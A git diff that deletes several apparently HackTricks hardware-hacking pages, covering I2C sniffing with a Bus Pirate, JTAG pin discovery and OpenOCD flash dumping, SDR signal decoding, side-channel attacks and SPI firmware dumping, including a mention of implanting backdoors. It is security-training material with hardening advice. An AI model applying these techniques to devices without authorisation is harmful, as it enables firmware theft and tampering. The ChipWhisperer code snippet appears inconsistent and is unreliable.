-The SWD interface requires **two pins**: a bidirectional **SWDIO** signal, which is the equivalent of JTAG’s **TDI and TDO pins and a clock**, and **SWCLK**, which is the equivalent of **TCK** in JTAG. Many devices support the **Serial Wire or JTAG Debug Port (SWJ-DP)**, a combined JTAG and SWD interface that enables you to connect either a SWD or JTAG probe to the target.
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/hardware-hacking/fault_injection_attacks.md b/src/todo/hardware-hacking/fault_injection_attacks.md
deleted file mode 100644
index ab7a47a7cc7..00000000000
--- a/src/todo/hardware-hacking/fault_injection_attacks.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# Fault Injection Attacks 
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Fault injections attacks includes introducing external distrubance in electronic circuits to influence it's behaviour, resulting to disclose information or even bypass certian restrictions in the circuit. This attacks opens a lot of possibilities for attacking electronic circuits. This attack is also referred as glitching of electronic circuits.
-
-There are a lot of methods and mediums for injecting fault into an electronic circuit. 
-
-
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/i2c.md b/src/todo/hardware-hacking/i2c.md
deleted file mode 100644
index df1447fddfe..00000000000
--- a/src/todo/hardware-hacking/i2c.md
+++ /dev/null
@@ -1,215 +0,0 @@
-# I2C
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Bus Pirate
-
-To test a Bus Pirate is working, connect +5V with VPU and 3.3V with ADC and access the bus pirate (Using Tera Term for example) and use the command `~`:
-
-```bash
-# Use command
-HiZ>~
-Disconnect any devices
-Connect (Vpu to +5V) and (ADC to +3.3V)
-Space to continue
-# Press space
-Ctrl
-AUX OK
-MODE LED OK
-PULLUP H OK
-PULLUP L OK
-VREG OK
-ADC and supply
-5V(4.96) OK
-VPU(4.96) OK
-3.3V(3.26) OK
-ADC(3.27) OK
-Bus high
-MOSI OK
-CLK OK
-MISO OK
-CS OK
-Bus Hi-Z 0
-MOSI OK
-CLK OK
-MISO OK
-CS OK
-Bus Hi-Z 1
-MOSI OK
-CLK OK
-MISO OK
-CS OK
-MODE and VREG LEDs should be on!
-Any key to exit
-#Press space
-Found 0 errors.
-```
-
-As you can see in the previous command line it said that it found 0 errors. This is very useful to know it's working after buying it or after flashing a firmware.
-
-To connect with the bus pirate you can follow the docs:
-
-![Use command - Press space: To connect with the bus pirate you can follow the docs](<../../images/image (484).png>)
-
-In this case I'm going to connect to an EPROM: ATMEL901 24C256 PU27:
-
-![Use command - Press space: In this case I'm going to connect to an EPROM: ATMEL901 24C256 PU27](<../../images/image (964).png>)
-
-To talk with bus pirate I used Tera Term connected to the pirate bus COM port with a Setup --> Serial Port --> Speed of 115200.\
-In the following communication you can find how to prepare the bus pirate to talk I2C and how to write and read from the memory (Comments appear using "#", don't expect that part in the communication):
-
-```bash
-# Check communication with buspirate
-i
-Bus Pirate v3.5
-Community Firmware v7.1 - goo.gl/gCzQnW [HiZ 1-WIRE UART I2C SPI 2WIRE 3WIRE KEYB LCD PIC DIO] Bootloader v4.5
-DEVID:0x0447 REVID:0x3046 (24FJ64GA00 2 B8)
-http://dangerousprototypes.com
-
-# Check voltages
-I2C>v
-Pinstates:
-1.(BR)  2.(RD)  3.(OR)  4.(YW)  5.(GN)  6.(BL)  7.(PU)  8.(GR)  9.(WT)  0.(Blk)
-GND     3.3V    5.0V    ADC     VPU     AUX     SCL     SDA     -       -
-P       P       P       I       I       I       I       I       I       I
-GND     3.27V   4.96V   0.00V   4.96V   L       H       H       L       L
-
-#Notice how the VPU is in 5V becausethe EPROM needs 5V signals
-
-# Get mode options
-HiZ>m
-1. HiZ
-2. 1-WIRE
-3. UART
-4. I2C
-5. SPI
-6. 2WIRE
-7. 3WIRE
-8. KEYB
-9. LCD
-10. PIC
-11. DIO
-x. exit(without change)
-
-# Select I2C
-(1)>4
-I2C mode:
- 1. Software
- 2. Hardware
-
-# Select Software mode
-(1)>1
-Set speed:
- 1. ~5kHz
- 2. ~50kHz
- 3. ~100kHz
- 4. ~240kHz
-
-# Select communication spped
-(1)> 2
-Clutch disengaged!!!
-To finish setup, start up the power supplies with command 'W'
-Ready
-
-# Start communication
-I2C>W
-POWER SUPPLIES ON
-Clutch engaged!!!
-
-# Get macros
-I2C>(0)
- 0.Macro menu
- 1.7bit address search
- 2.I2C sniffer
-
-#Get addresses of slaves connected
-I2C>(1)
-Searching I2C address space. Found devices at:
-0xA0(0x50 W) 0xA1(0x50 R)
-
-# Note that each slave will have a write address and a read address
-# 0xA0 ad 0xA1 in the previous case
-
-# Write "BBB" in address 0x69
-I2C>[0xA0 0x00 0x69 0x42 0x42 0x42]
-I2C START BIT
-WRITE: 0xA0 ACK
-WRITE: 0x00 ACK
-WRITE: 0x69 ACK
-WRITE: 0x42 ACK
-WRITE: 0x42 ACK
-WRITE: 0x42 ACK
-I2C STOP BIT
-
-# Prepare to read from address 0x69
-I2C>[0xA0 0x00 0x69]
-I2C START BIT
-WRITE: 0xA0 ACK
-WRITE: 0x00 ACK
-WRITE: 0x69 ACK
-I2C STOP BIT
-
-# Read 20B from address 0x69 configured before
-I2C>[0xA1 r:20]
-I2C START BIT
-WRITE: 0xA1 ACK
-READ: 0x42  ACK 0x42  ACK 0x42  ACK 0x20  ACK 0x48  ACK 0x69  ACK 0x20  ACK 0x44  ACK 0x72  ACK 0x65  ACK 0x67  ACK 0x21  ACK 0x20  ACK 0x41  ACK 0x41  ACK 0x41  ACK 0x00  ACK 0xFF  ACK 0xFF  ACK 0xFF
-NACK
-```
-
-### Sniffer
-
-In this scenario we are going to sniff the I2C communication between the arduino and the previous EPROM, you just need to communicate both devices and then connect the bus pirate to the SCL, SDA and GND pins:
-
-![Read 20B from address 0x69 configured before - Sniffer: In this scenario we are going to sniff the I2C communication between the arduino and the previous EPROM, you just need to...](<../../images/image (166).png>)
-
-```bash
-I2C>m
-1. HiZ
-2. 1-WIRE
-3. UART
-4. I2C
-5. SPI
-6. 2WIRE
-7. 3WIRE
-8. KEYB
-9. LCD
-10. PIC
-11. DIO
-x. exit(without change)
-
-(1)>4
-I2C mode:
- 1. Software
- 2. Hardware
-
-(1)>1
-Set speed:
- 1. ~5kHz
- 2. ~50kHz
- 3. ~100kHz
- 4. ~240kHz
-
-(1)>1
-Clutch disengaged!!!
-To finish setup, start up the power supplies with command 'W'
-Ready
-
-# EVEN IF YOU ARE GOING TO SNIFF YOU NEED TO POWER ON!
-
-I2C>W
-POWER SUPPLIES ON
-Clutch engaged!!!
-
-# Start sniffing, you can see we sniffed a write command
-
-I2C>(2)
-Sniffer
-Any key to exit
-[0xA0+0x00+0x69+0x41+0x41+0x41+0x20+0x48+0x69+0x20+0x44+0x72+0x65+0x67+0x21+0x20+0x41+0x41+0x41+0x00+]
-```
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md
deleted file mode 100644
index 1e55c4375a6..00000000000
--- a/src/todo/hardware-hacking/jtag.md
+++ /dev/null
@@ -1,122 +0,0 @@
-# JTAG
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
-{{#ref}}
-README.md
-{{#endref}}
-
-## JTAGenum
-
-[**JTAGenum**](https://github.com/cyphunk/JTAGenum) is a tool you can load on an Arduino-compatible MCU or (experimentally) a Raspberry Pi to brute‑force unknown JTAG pinouts and even enumerate instruction registers.
-
-- Arduino: connect digital pins D2–D11 to up to 10 suspected JTAG pads/testpoints, and Arduino GND to target GND. Power the target separately unless you know the rail is safe. Prefer 3.3 V logic (e.g., Arduino Due) or use a level shifter/series resistors when probing 1.8–3.3 V targets.
-- Raspberry Pi: the Pi build exposes fewer usable GPIOs (so scans are slower); check the repo for the current pin map and constraints.
-
-Once flashed, open the serial monitor at 115200 baud and send `h` for help. Typical flow:
-
-- `l` find loopbacks to avoid false positives
-- `r` toggle internal pull‑ups if needed
-- `s` scan for TCK/TMS/TDI/TDO (and sometimes TRST/SRST)
-- `y` brute‑force IR to discover undocumented opcodes
-- `x` boundary‑scan snapshot of pin states
-
-![JTAG - JTAGenum: x boundary‑scan snapshot of pin states](<../../images/image (939).png>)
-
-![JTAG - JTAGenum: x boundary‑scan snapshot of pin states](<../../images/image (578).png>)
-
-![JTAG - JTAGenum: x boundary‑scan snapshot of pin states](<../../images/image (774).png>)
-
-
-
-If a valid TAP is found you will see lines starting with `FOUND!` indicating discovered pins.
-
-Tips
-- Always share ground, and never drive unknown pins above target Vtref. If in doubt, add 100–470 Ω series resistors on candidate pins.
-- If the device uses SWD/SWJ instead of 4‑wire JTAG, JTAGenum may not detect it; try SWD tools or an adapter that supports SWJ‑DP.
-
-## Safer pin hunting and hardware setup
-
-- Identify Vtref and GND first with a multimeter. Many adapters need Vtref to set I/O voltage.
-- Level shifting: prefer bidirectional level shifters designed for push‑pull signals (JTAG lines are not open‑drain). Avoid auto‑direction I2C shifters for JTAG.
-- Useful adapters: FT2232H/FT232H boards (e.g., Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (vendor‑specific), ESP‑USB‑JTAG (on ESP32‑Sx). Connect at minimum TCK, TMS, TDI, TDO, GND and Vtref; optionally TRST and SRST.
-
-## First contact with OpenOCD (scan and IDCODE)
-
-OpenOCD is the de‑facto OSS for JTAG/SWD. With a supported adapter you can scan the chain and read IDCODEs:
-
-- Generic example with a J‑Link:
-```
-openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \
-  -c "init; scan_chain; shutdown"
-```
-- ESP32‑S3 built‑in USB‑JTAG (no external probe required):
-```
-openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown"
-```
-Notes
-- If you get "all ones/zeros" IDCODE, check wiring, power, Vtref, and that the port isn’t locked by fuses/option bytes.
-- See OpenOCD low‑level `irscan`/`drscan` for manual TAP interaction when bringing up unknown chains.
-
-## Halting the CPU and dumping memory/flash
-
-Once the TAP is recognized and a target script is chosen, you can halt the core and dump memory regions or internal flash. Examples (adjust target, base addresses and sizes):
-
-- Generic target after init:
-```
-openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \
-  -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown"
-```
-- RISC‑V SoC (prefer SBA when available):
-```
-openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \
-  -c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown"
-```
-- ESP32‑S3, program or read via OpenOCD helper:
-```
-openocd -f board/esp32s3-builtin.cfg \
-  -c "program_esp app.bin 0x10000 verify exit"
-```
-
-Tips
-- Use `mdw/mdh/mdb` to sanity‑check memory before long dumps.
-- For multi‑device chains, set BYPASS on non‑targets or use a board file that defines all TAPs.
-
-## Boundary‑scan tricks (EXTEST/SAMPLE)
-
-Even when the CPU debug access is locked, boundary‑scan may still be exposed. With UrJTAG/OpenOCD you can:
-- SAMPLE to snapshot pin states while the system runs (find bus activity, confirm pin mapping).
-- EXTEST to drive pins (e.g., bit‑bang external SPI flash lines via the MCU to read it offline if board wiring allows).
-
-Minimal UrJTAG flow with an FT2232x adapter:
-```
-jtag> cable ft2232 vid=0x0403 pid=0x6010 interface=1
-jtag> frequency 100000
-jtag> detect
-jtag> bsdl path /path/to/bsdl/files
-jtag> instruction EXTEST
-jtag> shift ir
-jtag> dr  <bit pattern for boundary register>
-```
-You need the device BSDL to know boundary register bit ordering. Beware that some vendors lock boundary‑scan cells in production.
-
-## Modern targets and notes
-
-- ESP32‑S3/C3 include a native USB‑JTAG bridge; OpenOCD can speak directly over USB without an external probe. Very convenient for triage and dumps.
-- RISC‑V debug (v0.13+) is widely supported by OpenOCD; prefer SBA for memory access when the core cannot be halted safely.
-- Many MCUs implement debug authentication and lifecycle states. If JTAG appears dead but power is correct, the device may be fused to a closed state or requires an authenticated probe.
-
-## Defenses and hardening (what to expect on real devices)
-
-- Permanently disable or lock JTAG/SWD in production (e.g., STM32 RDP level 2, ESP eFuses that disable PAD JTAG, NXP/Nordic APPROTECT/DPAP).
-- Require authenticated debug (ARMv8.2‑A ADIv6 Debug Authentication, OEM‑managed challenge‑response) while keeping manufacturing access.
-- Don’t route easy test pads; bury test vias, remove/populate resistors to isolate TAP, use connectors with keying or pogo‑pin fixtures.
-- Power‑on debug lock: gate the TAP behind early ROM enforcing secure boot.
-
-## References
-
-- OpenOCD User’s Guide – JTAG Commands and configuration. https://openocd.org/doc-release/html/JTAG-Commands.html
-- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/radio.md b/src/todo/hardware-hacking/radio.md
deleted file mode 100644
index b574171351f..00000000000
--- a/src/todo/hardware-hacking/radio.md
+++ /dev/null
@@ -1,202 +0,0 @@
-# Radio
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## SigDigger
-
-[**SigDigger** ](https://github.com/BatchDrake/SigDigger)is a free digital signal analyzer for GNU/Linux and macOS, designed to extract information of unknown radio signals. It supports a variety of SDR devices through SoapySDR, and allows adjustable demodulation of FSK, PSK and ASK signals, decode analog video, analyze bursty signals and listen to analog voice channels (all in real time).
-
-### Basic Config
-
-After installing there are a few things that you could consider configuring.\
-In settings (the second tab button) you can select the **SDR device** or **select a file** to read and which frequency to syntonise and the Sample rate (recommended to up to 2.56Msps if your PC support it)
-
-![SigDigger settings showing SDR device, input file, frequency and sample rate options](<../../images/image (245).png>)
-
-In the GUI behaviour it's recommended to enable a few things if your PC support it:
-
-![SigDigger - Basic Config: In the GUI behaviour it's recommended to enable a few things if your PC support it](<../../images/image (472).png>)
-
-> [!TIP]
-> If you realise that your PC is not capturing things try to disable OpenGL and lowering the sample rate.
-
-### Uses
-
-- Just to **capture some time of a signal and analyze it** just maintain the button "Push to capture" as long as you need.
-
-![Basic Config - Uses: Just to capture some time of a signal and analyze it just maintain the button "Push to capture" as long as you need](<../../images/image (960).png>)
-
-- The **Tuner** of SigDigger helps to **capture better signals** (but it can also degrade them). Ideally start with 0 and keep **making it bigger until** you find the **noise** introduce is **bigger** than the **improvement of the signal** you need).
-
-![SigDigger tuner control adjusted to improve the captured radio signal](<../../images/image (1099).png>)
-
-### Synchronize with radio channel
-
-With [**SigDigger** ](https://github.com/BatchDrake/SigDigger)synchronize with the channel you want to hear, configure "Baseband audio preview" option, configure the bandwith to get all the info being sent and then set the Tuner to the level before the noise is really starting to increase:
-
-![SigDigger synchronized radio channel with baseband audio preview and bandwidth configured](<../../images/image (585).png>)
-
-## Interesting tricks
-
-- When a device is sending bursts of information, usually the **first part is going to be a preamble** so you **don't** need to **worry** if you **don't find information** in there **or if there are some errors** there.
-- In frames of information you usually should **find different frames well aligned between them**:
-
-![Synchronize with radio channel - Interesting tricks: In frames of information you usually should find different frames well aligned between them](<../../images/image (1076).png>)
-
-![Synchronize with radio channel - Interesting tricks: In frames of information you usually should find different frames well aligned between them](<../../images/image (597).png>)
-
-- **After recovering the bits you might need to process them someway**. For example, in Manchester codification a up+down will be a 1 or 0 and a down+up will be the other one. So pairs of 1s and 0s (ups and downs) will be a real 1 or a real 0.
-- Even if a signal is using Manchester codification (it's impossible to find more than two 0s or 1s in a row), you might **find several 1s or 0s together in the preamble**!
-
-### Uncovering modulation type with IQ
-
-There are 3 ways to store information in signals: Modulating the **amplitude**, **frequency** or **phase**.\
-If you are checking a signal there are different ways to try to figure out what is being used to store information (fin more ways below) but a good one is to check the IQ graph.
-
-![SigDigger IQ graph used to identify whether a signal uses amplitude, frequency or phase modulation](<../../images/image (788).png>)
-
-- **Detecting AM**: If in the IQ graph appears for example **2 circles** (probably one in 0 and other in a different amplitude), it could means that this is an AM signal. This is because in the IQ graph the distance between the 0 and the circle is the amplitude of the signal, so it's easy to visualize different amplitudes being used.
-- **Detecting PM**: Like in the previous image, if you find small circles not related between them it probably means that a phase modulation is used. This is because in the IQ graph, the angle between the point and the 0,0 is the phase of the signal, so that means that 4 different phases are used.
-  - Note that if the information is hidden in the fact that a phase is changed and not in the phase itself, you won't see different phases clearly differentiated.
-- **Detecting FM**: IQ doesn't have a field to identify frequencies (distance to centre is amplitude and angle is phase).\
-  Therefore, to identify FM, you should **only see basically a circle** in this graph.\
-  Moreover, a different frequency is "represented" by the IQ graph by a **speed acceleration across the circle** (so in SysDigger selecting the signal the IQ graph is populated, if you find an acceleration or change of direction in the created circle it could mean that this is FM):
-
-## AM Example
-
-{{#file}}
-sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
-{{#endfile}}
-
-### Uncovering AM
-
-#### Checking the envelope
-
-Checking AM info with [**SigDigger** ](https://github.com/BatchDrake/SigDigger)and just looking at the **envelop** you can see different clear amplitude levels. The used signal is sending pulses with information in AM, this is how one pulse looks like:
-
-![SigDigger AM signal envelope with clear pulse amplitude levels](<../../images/image (590).png>)
-
-And this is how part of the symbol looks like with the waveform:
-
-![Uncovering AM - Checking the envelope: And this is how part of the symbol looks like with the waveform](<../../images/image (734).png>)
-
-#### Checking the Histogram
-
-You can **select the whole signal** where information is located, select **Amplitude** mode and **Selection** and click on **Histogram.** You can observer that 2 clear levels are only found
-
-![SigDigger amplitude histogram showing two clear levels for the selected AM signal](<../../images/image (264).png>)
-
-For example, if you select Frequency instead of Amplitude in this AM signal you find just 1 frequency (no way information modulated in frequency is just using 1 freq).
-
-![SigDigger frequency histogram for the AM signal showing one frequency](<../../images/image (732).png>)
-
-If you find a lot of frequencies potentially this won't be a FM, probably the signal frequency was just modified because of the channel.
-
-#### With IQ
-
-In this example you can see how there is a **big circle** but also **a lot of points in the centre.**
-
-![Checking the Histogram - With IQ: In this example you can see how there is a big circle but also a lot of points in the centre](<../../images/image (222).png>)
-
-### Get Symbol Rate
-
-#### With one symbol
-
-Select the smallest symbol you can find (so you are sure it's just 1) and check the "Selection freq". I this case it would be 1.013kHz (so 1kHz).
-
-![Get Symbol Rate - With one symbol: Select the smallest symbol you can find (so you are sure it's just 1) and check the "Selection freq". I this case it would be 1.013kHz (so 1kHz)](<../../images/image (78).png>)
-
-#### With a group of symbols
-
-You can also indicate the number of symbols you are going to select and SigDigger will calculate the frequency of 1 symbol (the more symbols selected the better probably). In this scenario I selected 10 symbols and the "Selection freq" is 1.004 Khz:
-
-![SigDigger symbol-rate calculation using a selected group of ten symbols](<../../images/image (1008).png>)
-
-### Get Bits
-
-Having found this is an **AM modulated** signal and the **symbol rate** (and knowing that in this case something up means 1 and something down means 0), it's very easy to **obtain the bits** encoded in the signal. So, select the signal with info and configure the sampling and decision and press sample (check that **Amplitude** is selected, the discovered **Symbol rate** is configured and the **Gadner clock recovery** is selected):
-
-![SigDigger Get Bits panel configured for AM sampling, symbol rate and Gardner clock recovery](<../../images/image (965).png>)
-
-- **Sync to selection intervals** means that if you previously selected intervals to find the symbol rate, that symbol rate will be used.
-- **Manual** means that the indicated symbol rate is going to be used
-- In **Fixed interval selection** you indicate the number of intervals that should be selected and it calculates the symbol rate from it
-- **Gadner clock recovery** is usually the best option, but you still need to indicate some approximate symbol rate.
-
-Pressing sample this appears:
-
-![With a group of symbols - Get Bits: Pressing sample this appears](<../../images/image (644).png>)
-
-Now, to make SigDigger understand **where is the range** of the level carrying information you need to click on the **lower level** and maintain clicked until the biggest level:
-
-![SigDigger level-range selection from the lower amplitude level to the upper level](<../../images/image (439).png>)
-
-If there would have been for example **4 different levels of amplitude**, you should have need to configure the **Bits per symbol to 2** and select from the smallest to the biggest.
-
-Finally **increasing** the **Zoom** and **changing the Row size** you can see the bits (and you can select all and copy to get all the bits):
-
-![With a group of symbols - Get Bits: Finally increasing the Zoom and changing the Row size you can see the bits (and you can select all and copy to get all the bits)](<../../images/image (276).png>)
-
-If the signal has more than 1 bit per symbol (for example 2), SigDigger has **no way to know which symbol is** 00, 01, 10, 11, so it will use different **grey scales** the represent each (and if you copy the bits it will use **numbers from 0 to 3**, you will need to treat them).
-
-Also, use **codifications** such as **Manchester**, and **up+down** can be **1 or 0** and an down+up can be a 1 or 0. In those cases you need to **treat the obtained ups (1) and downs (0)** to substitute the pairs of 01 or 10 as 0s or 1s.
-
-## FM Example
-
-{{#file}}
-sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
-{{#endfile}}
-
-### Uncovering FM
-
-#### Checking the frequencies and waveform
-
-Signal example sending information modulated in FM:
-
-![Uncovering FM - Checking the frequencies and waveform: Signal example sending information modulated in FM](<../../images/image (725).png>)
-
-In the previous image you can observe pretty good that **2 frequencies are used** but if you **observe** the **waveform** you might n**ot be able to identify correctly the 2 different frequencies**:
-
-![SigDigger FM waveform where the two frequencies are difficult to distinguish directly](<../../images/image (717).png>)
-
-This is because I capture the signal in booth frequencies, therefore one is approximately the other in negative:
-
-![SigDigger FM capture showing the two frequencies as approximate negatives of each other](<../../images/image (942).png>)
-
-If the synchronized frequency is **closer to one frequency than to the other** you can easily see the 2 different frequencies:
-
-![Uncovering FM - Checking the frequencies and waveform: If the synchronized frequency is closer to one frequency than to the other you can easily see the 2 different frequencies](<../../images/image (422).png>)
-
-![Uncovering FM - Checking the frequencies and waveform: If the synchronized frequency is closer to one frequency than to the other you can easily see the 2 different frequencies](<../../images/image (488).png>)
-
-#### Checking the histogram
-
-Checking the frequency histogram of the signal with information you can easily see 2 different signals:
-
-![Checking the frequencies and waveform - Checking the histogram: Checking the frequency histogram of the signal with information you can easily see 2 different signals](<../../images/image (871).png>)
-
-In this case if you check the **Amplitude histogram** you will find **only one amplitude**, so it **cannot be AM** (if you find a lot of amplitudes it might be because the signal has been losing power along the channel):
-
-![SigDigger amplitude histogram for FM signal showing a single amplitude level](<../../images/image (817).png>)
-
-And this is would be phase histogram (which makes very clear the signal is not modulated in phase):
-
-![Checking the frequencies and waveform - Checking the histogram: And this is would be phase histogram (which makes very clear the signal is not modulated in phase)](<../../images/image (996).png>)
-
-#### With IQ
-
-IQ doesn't have a field to identify frequencies (distance to centre is amplitude and angle is phase).\
-Therefore, to identify FM, you should **only see basically a circle** in this graph.\
-Moreover, a different frequency is "represented" by the IQ graph by a **speed acceleration across the circle** (so in SysDigger selecting the signal the IQ graph is populated, if you find an acceleration or change of direction in the created circle it could mean that this is FM):
-
-![SigDigger IQ graph where FM appears as acceleration changes around the circle](<../../images/image (81).png>)
-
-### Get Symbol Rate
-
-You can use the **same technique as the one used in the AM example** to get the symbol rate once you have found the frequencies carrying symbols.
-
-### Get Bits
-
-You can use the **same technique as the one used in the AM example** to get the bits once you have **found the signal is modulated in frequency** and the **symbol rate**.
-
-{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/todo/hardware-hacking/side_channel_analysis.md b/src/todo/hardware-hacking/side_channel_analysis.md
deleted file mode 100644
index a458d2d12d0..00000000000
--- a/src/todo/hardware-hacking/side_channel_analysis.md
+++ /dev/null
@@ -1,107 +0,0 @@
-# Side Channel Analysis Attacks 
-
-{{#include ../../banners/hacktricks-training.md}}
-
-Side-channel attacks recover secrets by observing physical or micro-architectural "leakage" that is *correlated* with internal state but is *not* part of the logical interface of the device.  Examples range from measuring the instantaneous current drawn by a smart-card to abusing CPU power-management effects over a network.
-
----
-
-## Main Leakage Channels
-
-| Channel | Typical Target | Instrumentation |
-|---------|---------------|-----------------|
-| Power consumption | Smart-cards, IoT MCUs, FPGAs | Oscilloscope + shunt resistor/HS probe (e.g. CW503)
-| Electromagnetic field (EM) | CPUs, RFID, AES accelerators | H-field probe + LNA, ChipWhisperer/RTL-SDR
-| Execution time / caches | Desktop & cloud CPUs | High-precision timers (rdtsc/rdtscp), remote time-of-flight
-| Acoustic / mechanical | Keyboards, 3-D printers, relays | MEMS microphone, laser vibrometer
-| Optical & thermal | LEDs, laser printers, DRAM | Photodiode / high-speed camera, IR camera
-| Fault-induced | ASIC/MCU cryptos | Clock/voltage glitch, EMFI, laser injection
-
----
-
-## Power Analysis
-
-### Simple Power Analysis (SPA)
-Observe a *single* trace and directly associate peaks/valleys with operations (e.g. DES S-boxes).  
-```python
-# ChipWhisperer-husky example – capture one AES trace
-from chipwhisperer.capture.api.programmers import STMLink
-from chipwhisperer.capture import CWSession
-cw = CWSession(project='aes')
-trig = cw.scope.trig
-cw.connect(cw.capture.scopes[0])
-cw.capture.init()
-trace = cw.capture.capture_trace()
-print(trace.wave)  # numpy array of power samples
-```
-
-### Differential/Correlation Power Analysis (DPA/CPA)
-Acquire *N > 1 000* traces, hypothesise key byte `k`, compute HW/HD model and correlate with leakage.
-```python
-import numpy as np
-corr = np.corrcoef(leakage_model(k), traces[:,sample])
-```
-CPA remains state-of-the-art but machine-learning variants (MLA, deep-learning SCA) now dominate competitions such as ASCAD-v2 (2023).
-
----
-
-## Electromagnetic Analysis (EMA)
-Near-field EM probes (500 MHz–3 GHz) leak identical information to power analysis *without* inserting shunts. 2024 research demonstrated key recovery at **>10 cm** from an STM32 using spectrum correlation and low-cost RTL-SDR front-ends.
-
----
-
-## Timing & Micro-architectural Attacks
-Modern CPUs leak secrets through shared resources:
-* **Hertzbleed (2022)** – DVFS frequency scaling correlates with Hamming weight, allowing *remote* extraction of EdDSA keys.
-* **Downfall / Gather Data Sampling (Intel, 2023)** – transient-execution to read AVX-gather data across SMT threads.
-* **Zenbleed (AMD, 2023) & Inception (AMD, 2023)** – speculative vector mis-prediction leaks registers cross-domain.
-
----
-
-## Acoustic & Optical Attacks
-* 2024 "​iLeakKeys" showed 95 % accuracy recovering laptop keystrokes from a **smart-phone microphone over Zoom** using a CNN classifier.
-* High-speed photodiodes capture DDR4 activity LED and reconstruct AES round keys within <1 minute (BlackHat 2023).
-
----
-
-## Fault Injection & Differential Fault Analysis (DFA)
-Combining faults with side-channel leakage shortcuts key search (e.g. 1-trace AES DFA).  Recent hobbyist-priced tools:
-* **ChipSHOUTER & PicoEMP** – sub-1 ns electromagnetic pulse glitching.
-* **GlitchKit-R5 (2025)** – open-source clock/voltage glitch platform supporting RISC-V SoCs.
-
----
-
-## Typical Attack Workflow
-1. Identify leakage channel & mount point (VCC pin, decoupling cap, near-field spot).
-2. Insert trigger (GPIO or pattern-based).  
-3. Collect >1 k traces with proper sampling/filters.
-4. Pre-process (alignment, mean removal, LP/HP filter, wavelet, PCA).
-5. Statistical or ML key recovery (CPA, MIA, DL-SCA).
-6. Validate and iterate on outliers.
-
----
-
-## Defences & Hardening
-* **Constant-time** implementations & memory-hard algorithms.
-* **Masking/shuffling** – split secrets into random shares; first-order resistance certified by TVLA.
-* **Hiding** – on-chip voltage regulators, randomised clock, dual-rail logic, EM shields.
-* **Fault detection** – redundant computation, threshold signatures.
-* **Operational** – disable DVFS/turbo in crypto kernels, isolate SMT, prohibit co-location in multi-tenant clouds.
-
----
-
-## Tools & Frameworks
-* **ChipWhisperer-Husky** (2024) – 500 MS/s scope + Cortex-M trigger; Python API as above.
-* **Riscure Inspector & FI** – commercial, supports automated leakage assessment (TVLA-2.0).
-* **scaaml** – TensorFlow-based deep-learning SCA library (v1.2 – 2025).
-* **pyecsca** – ANSSI open-source ECC SCA framework.
-
----
-
-## References
-
-* [ChipWhisperer Documentation](https://chipwhisperer.readthedocs.io/en/latest/)
-* [Hertzbleed Attack Paper](https://www.hertzbleed.com/)
-
-
-{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/todo/hardware-hacking/spi.md b/src/todo/hardware-hacking/spi.md
deleted file mode 100644
index 7f961df0300..00000000000
--- a/src/todo/hardware-hacking/spi.md
+++ /dev/null
@@ -1,70 +0,0 @@
-# SPI
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## Basic Information
-
-SPI (Serial Peripheral Interface) is an Synchronous Serial Communication Protocol used in embedded systems for short distance communication between ICs (Integrated Circuits). SPI Communication Protocol makes use of the master-slave architecture which is orchastrated by the Clock and Chip Select Signal. A master-slave architecture consists of a master (usually a microprocessor) that manages external peripherals like EEPROM, sensors, control devices, etc. which are considered to be the slaves.
-
-Multiple slaves can be connected to a master but slaves can't communicate with each other. Slaves are administrated by two pins, clock and chip select. As SPI is an synchronous communication protocol, the input and output pins follow the clock signals. The chip select is used by the master to select a slave and interact with it. When the chip select is high, the slave device is not selected whereas when it's low, the chip has been selected and the master would be interacting with the slave.
-
-The MOSI (Master Out, Slave In) and MISO (Master In, Slave Out) are responsible for data sending and recieving data. Data is sent to the slave device through the MOSI pin while the chip select is held low. The input data contains instructions, memory addresses or data as per the datasheet of the slave device vendor. Upon a valid input, the MISO pin is responsible for transmitting data to the master. The output data is sent exactly at the next clock cycle after the input ends. The MISO pins transmits data till the data is fully transmitter or the master sets the chip select pin high (in that case, the slave would stop transmitting and master would not listen after that clock cycle).
-
-## Dumping Firmware from EEPROMs
-
-Dumping firmware can be useful for analysing the firmware and finding vulnerabilities in them. Often times, the firmware is not available on the internet or is irrelevant due to variations of factors like model number, version, etc. Hence, extracting the firmware directly from the physical device can be helpful to be specific while hunting for threats.
-
-Getting Serial Console can be helpful, but often times it happens that the files are read-only. This constrains the analysis due to various reasons. For example, a tools that are required to send and recieve packages would not be there in the firmware. So extracting the binaries to reverse engineer them is not feasible. Hence, having the whole firmware dumped on the system and extracting the binaries for analysis can be very helpful.
-
-Also, during red reaming and getting physical access to devices, dumping the firmware can help on modifying the files or injecting malicious files and then reflashing them into the memory which could be helpful to implant a backdoor into the device. Hence, there are numerous possibilities that can be unlocked with firmware dumping.
-
-### CH341A EEPROM Programmer and Reader
-
-This device is an inexpensive tool for dumping firmwares from EEPROMs and also reflashing them with firmware files. This has been a popular choice for working with computer BIOS chips (which are just EEPROMs). This device connects over USB and needs minimal tools to get started. Also, it usually gets the task done quickly, so can be helpful in physical device access too.
-
